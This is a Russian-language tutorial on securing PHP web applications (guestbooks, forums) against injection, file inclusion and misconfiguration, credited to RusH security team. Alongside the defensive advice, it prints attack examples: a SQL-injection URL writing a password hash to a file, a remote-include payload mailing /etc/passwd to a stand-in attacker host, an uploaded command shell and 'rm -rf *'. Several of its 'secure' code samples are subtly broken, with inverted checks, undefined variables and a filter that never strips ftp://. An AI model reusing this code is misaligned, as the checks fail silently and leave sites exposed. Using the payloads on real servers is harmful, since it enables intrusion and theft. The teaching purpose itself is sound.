Основы безопасного програмирования на PHP Цель данной статьи, показать некоторые приемы защиты при написании скриптов на PHP и показать на примерах, как и из-за чего становится возможен взлом того или иного веб-приложения. Часто бывает так, что программист при написании своего веб-приложения (типа www-чат, форум, гостевая книга и т.д.) не задумывается над тем, а что будет если... Даже, казалась бы незначительная ошибка в коде, может привести к катастрофическим последствиям. На мой взгляд главная задача программиста состоит не только в том, что бы приложение работало, но и максимально обезопасить его от возможных ошибок. Допустим, в приложении есть форма передающая некоторые данные,которые записываются в файл и потом выводятся, например в гостевой книге. Первое, что необходимо сделать, это тщательным образом отфильтровать все данные пришедшие из формы. Никогда нельзя доверять входящим данным! Например: в форме есть поле e-mail, где данные не фильтруются. Злоумышленник может вставить в это поле произвольный код типа и все кто зайдут на страницу гостевой книги, увидят сообщение "Hacked site",согласитесь неприятный момент для хозяина сайта.Запретим пользователю в этом поле писать, что-либо кроме почтового адреса, воспользуемся для этого функцией preg_match, функция ищет в строке совпадение для шаблона: если совпадение найдено-возвращается TRUE(истина), если нет- FALSE(ложь). if (preg_match("/^[a-z0-9_-]{1,20}@(([a-z0-9-]+\.)+(com|net|org|mil|edu|gov|ru|info|biz|inc|"."name|[a-z]{2})|[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})$/is",$mail)) { print "Ok, почтовый адрес введен верно"; }else{ print "Адрес введен не верно"; } этот пример проверяет лишь правильность написания адреса, но не его существование :) В другом поле, ну скажем где пользователь, вводит свой ник, запрещаем любые символы кроме букв русского и латинского алфавита, и разрешим еще символ "_" if (eregi("[^a-za-я0-9_]",$nick)) { print "Ok"; }else{ print "ник содержит недопустимые символы"; } В поле, где пользователь вводит само сообщение, тоже отфильтруем данные. Тут важно определить с самого начала, что вы хотите разрешить для пользовательского ввода. Например, если вы хотите разрешить в теле сообщения некоторые теги html, то используйте функцию strip_tags. Разрешим использовать теги $string = strip_tags($string, ""); Либо заменим в переменной потенциально опасные символы эквивалентными конструкциями HTML. Функцию htmlspecialchars() использовать с параметром ENT_QUOTES Функция заменяет некоторые символы, имеющие особый смысл в контексте HTML, эквивалентными конструкциями. & амперсанд преобразуется в "&" " двойные кавычки преобразуются в """ только когда неустановлен ENT_QUOTES ' одинарная кавычка преобразуется в "'" только когда установлен ENT_QUOTES < преобразуется в "<" > преобразуется в ">" пример использования $string = htmlspecialchars($tring, ENT_QUOTES); Если правила фильтрации для всех полей одинаковые, то можно проверить все входящие данные из формы, например таким способом: foreach($_POST as $key => $value) { $value=trim($value); if (get_magic_quotes_gpc()) $value = stripslashes($value); $value=htmlspecialchars($value,ENT_QUOTES); $_POST[$key]=$value; $value=str_replace("\r","",$value); $value=str_replace("\n","
",$value); $$key=$value; } Можно защитить переменную от опасных символов ("прослешить") таким образом $string=addslashes($string); Функция addslashes() возвращает строку со знаками обратной косой черты \ перед символами, которые должны быть заключены в кавычки, в запросах к базам данных и т.д., к таким символам относятся: однарная кавычка двойная кавычка обратная косая черта NUL(нулевой байт) Чем чревато не экранирование таких символов: Например, в движке сайта PHP-NUKE в файле auth.php отсутствовала проверка переменной $aid содержащей логин для авторизации пользователя. Используя одинарную кавычку можно было перенаправить вывод в произвольный файл на сервере. Строка запроса www.server.ru/admin.php?op=login&pwd=123&aid=Admin'%20INTO%20OUTFILE%20'/path_to_file/pwd.txt делала возможным создание файла /path_to_file/pwd.txt содержащего зашифрованный пароль для логина "Admin". Можно включить в php.ini опцию magic_quotes_gpc=On , она будет автоматически экранировать, обратной косой чертой все потенциально опасные символы (например, апострофы и кавычки). Если ваше приложение добавляет данные в файл при включеном в php.ini magic_quotes_gpc,то слеши будут автоматически добавляться к данным полученым из POST, GET запросов и кук Удалить слеши можно функцией stripslashes(). Пример: $string=stripslashes($string); Если в php.ini включена опция register_globals=On (означает, что регистрируются глобальные переменные) и вы используете в вашем приложении глобальные переменные, то можно избавиться от слешей таким образом: if (get_magic_quotes_gpc()) strips($GLOBALS); function strips(&$str) { if (is_array($str)) { foreach($str as $k=>$v) { if($k!='GLOBALS') { strips($str[$k]); } } } else { $str = stripslashes($str); } } Чтобы избавиться от добавления слешей скажем при получении данных из файла, вставьте в начало скрипта set_magic_quotes_runtime(0); Если, ваше веб-приложение (гостевая книга, форум, веб-чат...), записывает данные, переданные пользователями, то лучше установить блокировку на файл, куда записываются данные. Представьте себе, что одновременно 10 человек пытаются оставить свое сообщение, произойдет нарушение целостности файла с данными. Избежать этого поможет функция flock(), функция устанавливает блокировку на предварительно открытый файл. Можно использовать функцию с ключами: LOCK_SH разрешает читать заблокированый файл LOCK_EX устанавливает полную блокировку файла LOCKUN снимает блокировку пример: $file=fopen("bd.dat","ab+"); if ($file && flock($w_file,LOCK_EX)) { fputs($file,"test\n") or die("запись в файл невозможна"); } fclose($file); Другой немаловажный момент. Допустим поля формы, где пользователь вводит ник и email, ограничены чем то вроде Злоумышленник может скачать документ с формой ввода и подправить параметр maxlength. Чтобы этого не произошло, установим где-нибудь в самом начале скрипта, обрабатывающего данные, проверку переменной окружения web-сервера HTTP-REFERER (проверив с родного ли хоста пришли данные). $referer=getenv("HTTP_REFERER"); if (!ereg("^http://www.server.ru")) { print "данные пришедшие не с моего сервера запрещены к приему"; exit; } Правда переменная HTTP_REFERER формируется браузером и злоумышленник может, например зайти телнетом на 80 порт и сформировать запрос. Защита не бог весть-какая, но дилетанта остановит. Если требуется более сильная защита лучше воспользоваться сессиями. При заходе на страницу с формой отправки, юзеру присваивается уникальный идентификатор (число 128 бит, которое невозможно подделать). Потом организовать передачу идентификатора через сессии либо через куки, либо через URL. Если идентификатор не найден в URL (GET-запрос) или в POST-запросе и не найден в куках (или не совпадает с настоящим), то извините - вы хакер, и данные от вас не принимаются :) Правда, всегда нужно стараться найти золотую середину между удобством использования вашего приложения и его защитой.Если перестараться с ограничениями, всевозможными защитами и блокировками, то вряд ли пользователю захочется посетить ваш сайт еще раз. Так же необходима защита вашего веб-приложения от флуда, методом частых вызовов php-файлов. Во-первых кто-то, может забить своими сообщениями ту-же гостевую книгу, во-вторых это создает лишний трафик и нагрузку на сервер. Как решение проблемы можно написать модуль, ограничивающий обращение к php-скрипту N-раз в N-времени с одного ip-адреса и подключать его к вашему скрипту функцией include() или require(). include "script_name.php"; PHP может принимать файлы, загруженные из любого браузера, отвечающего стандартам RFC-1867 (например, Netscape Navigator или Microsoft Internet Explorer). Если вы решили написать и использовать скрипт, который позволяет юзерам закачивать на сервер какие-либо файлы, то примите все меры предосторожности, что бы не создать проблем на сервере. Убедитесь, что принятый файл будет правильно обработан и сохранен. Обязательно проверяйте тип, размер принимаемого файла. И присваивайте файлу новое имя. Представьте себе, что в скрипте нет проверки на тип принимаемого файла и программа после приема выводит файл в браузер. А злобный хакер закачал файл cmd.php следующего содержания: и вызвал скрипт браузером http://www.server.ru/cmd.php Становиться возможен, просмотр листинга корневого каталога. Или еще "лучше", файл удалит родительский каталог и все его подкаталоги. Избежать такого развития ситуации поможет функция escapeshellcmd(), экранирует все потенциально опасные символы при выполнении команд exec(), passthru(), system(), popen() пример использования функции: $userinput="rm -rf *"; $string = escapeshellcmd($userinput); system("print $string"); Еще одна плохая идея-хранить конфигурационные файлы в каталоге с www-документами. Допустим ваш конфигурационный файл имеет расширение "inc", например config.inc и содержит помимо других данных, строки user:Mickl password:qwerty При каком-нибудь сбое программы появится сообщение о ошибке типа Parse error: parse error in ./home/user/www/config.inc Естественно хакер попытается открыть этот файл http://www.server.ru/config.inc и если вдруг окажется, что сервер сконфигурирован таким образом, что файлы типа *.inc он трактует как текстовые, то файл config.inc будет отображен(прочитан) в браузере. Лучше конфиг-файлы хранить выше корня сайта, там - куда нет доступа браузером. Если по каким то причинам, у вас нет доступа выше корня сайта, то создайте отдельный каталог для таких конфиг-файлов и закройте доступ к нему файлом .htaccess с таким содержанием: order allow,deny deny from all Старайтесь писать ваши приложения, не зависящими от настроек сервера. Еще маленькая тонкость. Подумайте над тем, что будет, если пользователь в сообщение вставит очень длинную строку без разрывов типа ААААА *256 ААААААА, страшного ничего конечно не произойдет, но вот дизайн той же гостевой или форума разъедется по швам основательно. Что можно сделать в этом случае? Просто разделите данные из переменной пробелами,например по 50 символов, вряд ли вы умудритесь составить нормальное слово длиннее 50 символов. function bigword($string) { $s=str_replace("\\\"","\"",$string); return " ".wordwrap($message,51," ",1)." "; } Почему становится возможен межсайтовый скриптинг и как это выглядит. Язык PHP мощный и в то же время простой. Для облегчения работы программиста,разработчиками PHP, функции fopen(), file(), include(), readfile()... написаны таким образом, что програмисту нет необходимости открывать сокет и т.д. например, для чтения файла с удаленного сервера. Хотя в PHP есть функции предназначенные именно для этого socket(), fsockopen(), pfsockopen() позволяющие устанавливать связь с различными службами другого компьютера через протоколы TCP, UDP. Если параметр, передаваемый функции, начинается с префикса http://, ftp://, то функция сама установит соединение http, ftp с сервером. Если параметр будет задан в виде php://stdin, php://stdout или php://stderr будет открыт соответствующий стандартный поток ввода/вывода. Причем возможно не только чтение файла, но и запись в него, при условии соответствующих прав (chmod) на файл. Например: $string=fopen("http://www.server.ru/test.txt/", "r"); Функция откроет подключение HTTP к серверу www.server.ru и возвратит манипулятор файла test.txt,скачает содержимое файла test.txt в переменную как из обычного файла. $string=fopen("ftp://login:pass@server.ru/test.txt/", "w"); Функция откроет подключение FTP к серверу www.server.ru и возвратит манипулятор файла test.txt. Откроет файл www.server.ru/test.txt для записи,если файл не существует функция будет пытаться создать файл. Если сервер www.server.ru не поддерживает пассивный режим FTP, работа функции закончится неудачей. Косая черта необходима в конце имени файла из-за того, что не поддерживается перенаправление! Пример (код взят из некоего приложения, не знаю о чем и каким местом думал тот программист): страница index.php генерирует ссылки вида
news links файл view.php содержит строки include "functions.php"; print_file_view($f); Ну и в файле functions.php есть функция print_file_view($f), отвечающая за вывод информации из файла с именем f=... function print_file_view($f) { $file_array_view=file("$f"); foreach ($file_array_view as $k=>$line) { print $line."
"; } } При клике по ссылке news файл view.php выдаст содержимое файла news. На первый взгляд все нормально. Функция file() загружает все содержимое в индексируемый массив (каждый элемент массива соответствует одной строке файла), foreach() возвращает пару "ключ/значение" и перемещает указатель к следующему элементу, print возвращает значение $line Но ... функция file не проверяет существует ли файл! И если в запросе передать значение $f отличное от news (например: http://www.server.ru/view.php?f=blabla, то произойдет сбой программы (так как файл blabla не существует). И будет выведено сообщение о ошибке: Warning: file("blabla") - No such file or directory in ./home/user/www/functions.php on line 3 Warning: Invalid argument supplied for foreach() in ./home/user/www/functions.php on line 4 Разумеется если в php.ini включена директива display_errors =On (что чаще всего и бывает) На мой взгляд логичнее отключить вывод ошибок, и включить директиву записи ошибок в лог-файл сервера. display_errors =Off log_errors=On В результате такого запроса, становится известен путь к скрипту и имя файла. Если нет доступа к php.ini, можно добавить в начало скрипта строку error_reporting(0); это подавит вывод ошибок. Но ... надо не подавлять ошибки, а писать код без ошибок! Если нет доступа к http.conf и к php.ini, например вы простой клиент хостинга, все равно можно создать разные настройки для страниц, расположеных в разных каталогах, но принадлежащих одному приложению. С помощью файла .htaccess Допустим директива вывода ошибок на сервере отключена display_errors =Off, а вам надо отладить свое приложение и включить вывод ошибок, то в файле .htaccess напишите следующие строки: php_value error_reporting 2039 php_flag log_error off php_flag display errors on error_reporting обязательно устанавливайте только в виде числового значения, а не с помощью константы! Теперь у вас свои настройки (независящие от настроек сервера) для каталога, где находится файл .htaccess , только не забывайте, что скорость работы программы замедляется из-за обращение к .htaccess Дальше, хакер может на своем сайте www.hacker_site.ru создать файл cmd.txt с таким содержимым или /etc/passwd | mail hacker@hacker_site.ru"); ?> И заставить уязвимый скрипт таким запросом http://www.server.ru/view.php?f=http://hacker_site.ru/cmd.txt либо вывести в браузер содержание файла /etc/passwd с сервера, где находится уязвимый скрипт или отправить /etc/passwd себе на e-mail. Это не в коей мере нельзя считать уязвимостью PHP, это ошибка программирования ! Можно запретить открывать URL через файловые функции в php.ini опцией allow_url_fopen=Off Если доступ к настройкам php отсутствует (вы просто клиент хостинга), то создайте в корне своего сайта файл .htaccess с содержанием php_value allow_url_fopen 0 правда это несколько замедлит работу программы, т.к. при каждом вызове *.php скриптов будет происходить обращение к файлу .htaccess Но как известно - БЕЗОПАСНОСТИ МНОГО НЕ БЫВАЕТ! Так же необходимо вырезать из переменной все префиксы http://, ftp:// функцией str_replace() : $string=str_replace("http://","",$string); $string=str_replace("ftp://","",$string); Причем самое смешное состоит в том, что включение безопасного режима safe_mode=On не решает проблемы, функции продолжают исправно фунциклировать! И так - исправим уязвимую функцию function print_file_view($f) Добавим в код проверку на существование файла и принудительно добавим расширение ".dat" к к переменной $f. Почему расширение ".dat"? Потому, что вряд ли удастся найти сервер, который будет трактовать файлы "*.dat" как текстовые. И вырежем из переменной все префиксы http://, ftp://, если таковые в ней случайно! появятся :) $f=str_replace("http://","",$f); $f=str_replace("http://","",$f); if (is_file($f.".dat")) { $file_array_view=file($f.".dat"); foreach ($file_array_view as $k=>$line) { print $line."
"; } }else print "ERROR 404 document not found"; Функция is_file() проверяет существование заданного файла и возможность выполнения с ним операций "чтения/записи". Теперь запрос вида http://www.server.ru/view.php?f=blabla не даст никакой информации злоумышленнику, будет выведено сообщение, что файл не существует "ERROR 404 document not found". Cписок некоторых директив php.ini, которые имеет смысл настроить для комфортной и безопасной работы с PHP. magic_quotes_gpc если включена, автоматически добавляет слеши к данным пришедшим от пользователя - из POST, GET запросов и кук. magic_quotes_runtime если включена, автоматически добавляет слеши к данным, полученным во время исполнения скрипта - например, из файла или базы данных. register_globals если включена, переменные GET, POST, Cookie, Server будут регистрироваться как глобальные переменные. Если директива выключена, то глобальный доступ можно получить через массивы $HTTP_ENV_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS track_vars если разрешена, то глобальные переменные GET, POST, Cookie, Server всегда будут находиться в глобальных массивах $HTTP_ENV_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS allow_url_fopen если включена, позволяет обращаться с объектами URL как с файлами (по умолчанию включена!), есть смысл отключить данную директиву, если не планируете работать с удаленными файлами. Зачем облегчать хакерам жизнь? :) Присутствует только в версиях PHP выше 4.0.3 , до версии 4.0.3(включительно) можно лишь запретить во время компиляции PHP --disable-url-fopen-wrapper upload_tmp_dir указывает на временный каталог для хранения файлов, загруженых с сервера. safe_mode включить\выключить безопасный режим для PHP safe_mode_exec_dir если включен безопасный режим, то функции, которые исполняют системные программы (типа system, exec...) не будут работать вне этого каталога. enable_dl Лучше отключить!!! Необходима лишь когда PHP стоит как модуль Apache. С помощью функции dl() можно включать и отключать динамическую загрузку расширений PHP через виртуальный сервер или каталог. При помощи динамической загрузки можно обойти запреты в safe_mode и open_base_dir. По умолчанию всегда разрешена! За исключением safe_mode. display_errors если включена, показывает на экране ошибки как часть вывода HTML error_log название файла, куда записываются програмные ошибки error_reporting устанавливает степень подробности ошибок, значение должно быть числовое. ignore_user_abort (по умолчанию разрешено). При запрете данной директивы, программа будет завершена, если пользователь завершит соединение с программой. Лучше выключить, так как юзер может написать 2 скрипта, с такой строкой в каждом скрипте ignore_user_abort(0): по истечении N-времени, 1 скрипт запустит второй, потом второй запустит первый. Получается, что-то типа крона, будут кушаться системные ресурсы :) include_path определяет список каталогов, в которых функции include(), require(), fopen_with_path() проводят поиск файлов. По умолчанию установлена в "." (только в этом каталоге). В UNIX каталоги в списке разделяются двоеточием, в Win точкой с запятой. max_execution_time устанавливает максимальное время в секундах, отпущеных для работы скрипта по умолчанию - 30 секунд. memory_limit устанавливает максимальный объем памяти (в байтах), который можно использовать программе и не позволяет кривым скриптам использовать весь объем памяти сервера. Ну вот, пожалуй и все, в одной статье просто невозможно охватить все аспекты. Я надеюсь, что время затраченное на написание данной статьи, не пропадет даром и ваши веб-приложения станут более защищенными от взлома. Не забывайте о тех пользователях, которые будут использовать ваши скрипты на своих сайтах! Автор: dinggo --------------------------------------- RusH security team - http://rst.void.ru